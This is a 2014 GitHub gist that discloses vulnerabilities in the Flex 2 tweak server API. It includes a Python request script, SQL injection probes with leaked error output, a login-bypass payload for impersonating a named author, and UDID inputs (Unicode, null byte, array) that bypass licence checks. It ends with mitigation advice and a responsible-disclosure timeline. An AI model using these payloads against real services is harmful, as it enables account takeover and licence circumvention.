Skip to content

Instantly share code, notes, and snippets.

@PythEch
Last active June 22, 2016 18:37
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save PythEch/9c4343a372eeb30ba086 to your computer and use it in GitHub Desktop.
Save PythEch/9c4343a372eeb30ba086 to your computer and use it in GitHub Desktop.
Flex Server Multiple Vulnerabilities

Introduction

This gist includes multiple SQL injection vulnerabilities I found by accident in a bus while travelling. These vulnerabilities are easy to find and easy to exploit, and critical.

Background

I already have Flex legacy paid but, can't buy Flex 2 because of credit card restrictions. Anyway, I decided to give Flex 2 a shot, downloaded the beta from getdelta.co

For fun, I tried to figure out whether spoofing UDID is possible by patching Flex 2 itself. I already knew you have put so much work into DRM. I'm still unsuccessful at this.

After patching Flex > FLAPatch > setCloudID, I have stumbled upon this error

Vulnerability

This python script emulates the communication between Flex.app and the server:

import requests
import json
from pprint import pprint

request = {
  "patchID" : 1,
  "action" : "patchInfo",
  "iosLong" : 70004,
  "udid" : "PythEch",
  "ios" : "7.0.4",
  "version" : "1.928"
}

print "JSON Request:\n"
pprint(request)

request = "request=" + json.dumps(request)

s = requests.session()
s.headers = None

print "\nResponse:\n"

response = s.post('http://getdelta.co/flex/flexAPI.php', request)

print response.text

Normal output:

JSON Request:

{'action': 'patchInfo',
 'ios': '7.0.4',
 'iosLong': 70004,
 'patchID': 1,
 'udid': 'PythEch',
 'version': '1.928'}

Response:

{"status":"success","result":{"patch":{"id":1,"label":"Hide Camera Grabber","enabled":false,"identifier":"com.apple.springboard","uuid":"24C740DF-803C-416B-95B6-2CB8D3B6CCFE","downloads":51,"app":1,"description":"Hides the camera grabber on the lock screen. (iOS 6 only)","author":"JohnCoates","authorID":1,"averageRating":1,"userRating":0,"downloadDate":1400879180}},"ip":"[redacted]","yourudid":"pythech"}

But let's say I use 1' instead of 1 as patchID:

JSON Request:

{'action': 'patchInfo',
 'ios': '7.0.4',
 'iosLong': 70004,
 'patchID': "1'",
 'udid': 'PythEch',
 'version': '1.928'}

Response:

log: MySQL Error: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '\' AND apps.id = patches.app AND authors.id = patches.author' at line 11. query: "SELECT patches.id, UUID, label, author, description, apps.identifier AS `appIdentifier`,
apps.id AS `app`,
authors.username AS `authorName`,
(SELECT SUM(downloads.count) FROM downloads WHERE downloads.patchid=patches.id) AS `downloads`,
(SELECT SUM(ratings.rating) FROM ratings WHERE ratings.patchid=patches.id) AS `ratingsSum`,
(SELECT COUNT(ratings.id) FROM ratings WHERE ratings.patchid=patches.id) AS `totalRatings`,
userRating.rating as `userRating`
FROM patches
LEFT JOIN ratings AS userRating on userRating.patchid=patches.id AND userRating.udid='PythEch',
apps, authors
WHERE patches.id = 1\' AND apps.id = patches.app AND authors.id = patches.author;"
<br>{"status":"success","result":{"patch":false},"ip":"[redacted]","yourudid":"pythech"}

This is the typical SQL Injection check, as can be seen from here

Using this technique, I have discovered that all of the SQL queries are vulnerable except action downloadPatch:

JSON Request:

{'action': 'appPatchList',
 'appID': "1000'",
 'ios': '7.0.4',
 'iosLong': 7004,
 'udid': 'PythEch',
 'version': '1.928'}

Response:

log: MySQL Error: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1000'' and `removed` = FALSE AND moderated = 1

AND `authors`.`id` = `patches`.' at line 4. query: "SELECT `patches`.`id`, `author`, `label`, `description`, `ios`,
`authors`.`username` AS `authorName`, SUM(`downloads`.`count`) as `downloads`
FROM `patches` LEFT JOIN `downloads` ON `downloads`.`patchid`=`patches`.`id`, `authors`
WHERE `app` = '1000'' and `removed` = FALSE AND moderated = 1

AND `authors`.`id` = `patches`.`author`
GROUP BY `patches`.`id`;"
<br><br />
<b>Warning</b>:  Invalid argument supplied for foreach() in <b>/www/beta/flex/models/patch.class.php</b> on line <b>116</b><br />
{"status":"success","result":{"patches":[]},"ip":"[redacted]","yourudid":"pythech"}
JSON Request:

{'action': 'login',
 'ios': '7.0.4',
 'iosLong': 70004,
 'password': 'something',
 'udid': 'PythEch',
 'username': "SomeUser'",
 'version': '1.928'}

Response:

log: MySQL Error: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'SomeUser'' ) AND
		`password` LIKE '%2594863a4b8d41058d59eabb588b61b9e2fd44d6'' at line 3. query: "		SELECT `id`, `username`
		FROM `authors`
		WHERE (`username` = 'SomeUser'' OR `email` = 'SomeUser'' ) AND
		`password` LIKE '%2594863a4b8d41058d59eabb588b61b9e2fd44d6';"
<br>{"status":"error","alert":{"title":"Login Error","message":"Check your username or password."},"ip":"[redacted]","yourudid":"pythech"}

Exploit

Because the server gave me the exact MySQL query, it was very easy to exploit this. For proof of concept, I will login as JohnCoates.

Query:

SELECT `id`, `username`
FROM `authors`
WHERE (`username` = '$username' OR `email` = '$username' ) AND
`password` LIKE '$hash';

This is very trivial to exploit, a malicious user can manipulate the SQL query. If there wasn't paranthesis, this would work:

JohnCoates' OR ''='

After string concatination, the SQL query string will become this:

SELECT `id`, `username`
FROM `authors`
WHERE (`username` = 'JohnCoates' OR ''='' OR `email` = 'JohnCoates' OR ''='' ) AND
`password` LIKE '$hash';

This will fail, due to I didn't break the password verification.

There is one more step, removing paranthesis. While I cannot really remove them, because of the newline before password, I can close the paranthesis.

JohnCoates') OR (''='

Query:

SELECT `id`, `username`
FROM `authors`
WHERE (`username` = 'JohnCoates') OR (''='' OR `email` = 'JohnCoates') OR (''='' ) AND
`password` LIKE '$hash';

The order of the conditionals allows me to make it verify the user no matter what the password is.

Mitigations

Like in the famous xkcd comic, using string for SQL queries is as dangerous as using eval().

This stackoverflow answer is a very good way to prevent such attacks.

In short, PDO seperates the SQL code from the data which mitigates the sql injection completely. But don't forget to disable emulation like it says.

Uncaught Exception Vulnerability

I said I was unable to exploit downloadPatch earlier, well no longer! Obviously that action checks if UDID is valid, but it seems database encoding has some limitations. Normally this shouldn't be a problem, but a missing exception check breaks UDID verification as can be seen below:

JSON Request:

{'action': 'downloadPatch',
 'ios': '7.0.4',
 'iosLong': 70004,
 'patchID': 1,
 'udid': 'Ä\xb1', # ı (infamous dotless i from Turkish keyboard which is known to break some programs)
 'version': '1.928'}

Response:

log: MySQL Error: Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,COERCIBLE) for operation '='. query: "SELECT id FROM licensed WHERE udid = 'ı' AND product = 1 LIMIT 1;"
<br>{"status":"success","result":{"patch":{"label":"Hide Camera Grabber","enabled":false,"identifier":"com.apple.springboard","units":[{"method":{"name":"canShowLockScreenCameraGrabber","label":"- (BOOL) canShowLockScreenCameraGrabber","returnType":"BOOL","class":"SpringBoard"},"name":"camera grabber","overrideValue":false,"disableFunction":false}],"uuid":"24C740DF-803C-416B-95B6-2CB8D3B6CCFE","description":"Hides the camera grabber on the lock screen. (iOS 6 only)","author":"JohnCoates","downloadDate":1401791362,"id":1}},"ip":"88.230.36.128","yourudid":"\u0131"}

There a lot of unicode chracters, but NULL character is the most insteresting one:

JSON Request:

{'action': 'downloadPatch',
 'ios': '7.0.4',
 'iosLong': 70004,
 'patchID': 1,
 'udid': '\x00',
 'version': '1.928'}

Response:

<br />
<b>Warning</b>:  file_get_contents(http://cydia.saurik.com/api/check?api=store-0.9&amp;device=%00&amp;host=88.230.36.128&amp;mode=local&amp;nonce=538db1a272436&amp;package=com.fuyuchi.flex2&amp;timestamp=1401794978&amp;vendor=acapulco1988&amp;signature=NDnXHSyI5NFTgGc5iIFtKdqSIBo): failed to open stream: HTTP request failed! HTTP/1.1 403 Forbidden

 in <b>/www/beta/flex/models/license.class.php</b> on line <b>168</b><br />
{"status":"success","result":{"patch":{"label":"Hide Camera Grabber","enabled":false,"identifier":"com.apple.springboard","units":[{"method":{"name":"canShowLockScreenCameraGrabber","label":"- (BOOL) canShowLockScreenCameraGrabber","returnType":"BOOL","class":"SpringBoard"},"name":"camera grabber","overrideValue":false,"disableFunction":false}],"uuid":"24C740DF-803C-416B-95B6-2CB8D3B6CCFE","description":"Hides the camera grabber on the lock screen. (iOS 6 only)","author":"JohnCoates","downloadDate":1401794978,"id":1}},"ip":"88.230.36.128","yourudid":"\u0000"}

Similarly, this can also be used to crash server, which also reveals more information:

JSON Request:

{'action': 'downloadPatch',
 'ios': '7.0.4',
 'iosLong': 70004,
 'patchID': 1,
 'udid': ['crash'],
 'version': '1.928'}

Response:

<br />
<b>Warning</b>:  strtolower() expects parameter 1 to be string, array given in <b>/www/beta/flex/controllers/api/handler.class.php</b> on line <b>19</b><br />
<br />
<b>Warning</b>:  strtolower() expects parameter 1 to be string, array given in <b>/www/beta/flex/models/license.class.php</b> on line <b>40</b><br />
<br />
<b>Warning</b>:  file_get_contents(http://cydia.saurik.com/api/check?api=store-0.9&amp;host=88.230.36.128&amp;mode=local&amp;nonce=538db1689f907&amp;package=com.fuyuchi.flex2&amp;timestamp=1401794920&amp;vendor=acapulco1988&amp;signature=sE3CQy8ophN61DU5QYUD2auOFO0): failed to open stream: HTTP request failed! HTTP/1.1 400 Bad Request

 in <b>/www/beta/flex/models/license.class.php</b> on line <b>168</b><br />
<br />
<b>Warning</b>:  mysql_real_escape_string() expects parameter 1 to be string, array given in <b>/www/beta/flex/models/db/server/abstract/base.class.php</b> on line <b>31</b><br />
<br />
<b>Warning</b>:  strtolower() expects parameter 1 to be string, array given in <b>/www/beta/flex/models/io/api.class.php</b> on line <b>97</b><br />
{"status":"success","result":{"patch":{"label":"Hide Camera Grabber","enabled":false,"identifier":"com.apple.springboard","units":[{"method":{"name":"canShowLockScreenCameraGrabber","label":"- (BOOL) canShowLockScreenCameraGrabber","returnType":"BOOL","class":"SpringBoard"},"name":"camera grabber","overrideValue":false,"disableFunction":false}],"uuid":"24C740DF-803C-416B-95B6-2CB8D3B6CCFE","description":"Hides the camera grabber on the lock screen. (iOS 6 only)","author":"JohnCoates","downloadDate":1401794920,"id":1}},"ip":"88.230.36.128","yourudid":null}

Report-Timeline

15.05.2014: Discovered the vulnerability.
22.05.2014: Notified the developer and recieved positive response.
23.05.2014: Disclosed the vulnerability to the developer and recieved free license!
03.06.2014: Discovered another vulnerability and reported to the developer. Former vulnerability is still unfixed.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment